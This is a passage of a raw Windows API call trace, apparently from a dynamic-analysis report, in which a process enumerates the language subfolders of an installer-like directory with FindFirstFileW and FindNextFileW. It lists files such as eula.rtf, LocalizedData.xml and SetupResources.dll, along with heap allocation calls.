ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.557] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.557] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.557] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.557] FindClose (in: hFindFile=0x42605c0 | out: hFindFile=0x42605c0) returned 1 [0050.557] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.557] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0050.557] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.557] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42603c0 [0050.558] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.558] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.558] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.558] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.558] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.558] FindClose (in: hFindFile=0x42603c0 | out: hFindFile=0x42603c0) returned 1 [0050.558] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.558] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0050.558] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.558] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260840 [0050.559] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.559] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.559] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.559] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.559] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.559] FindClose (in: hFindFile=0x4260840 | out: hFindFile=0x4260840) returned 1 [0050.559] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.559] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0050.559] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.559] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260800 [0050.560] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.560] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.560] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.560] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.560] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.560] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0050.560] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.560] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0050.560] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.561] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260500 [0050.561] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.561] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.561] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.561] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.562] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.562] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0050.562] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.562] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0050.562] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.562] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260700 [0050.562] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.562] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.562] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.562] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.562] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.562] FindClose (in: hFindFile=0x4260700 | out: hFindFile=0x4260700) returned 1 [0050.563] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.563] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0050.563] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.563] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260500 [0050.563] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.563] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.563] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.563] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, 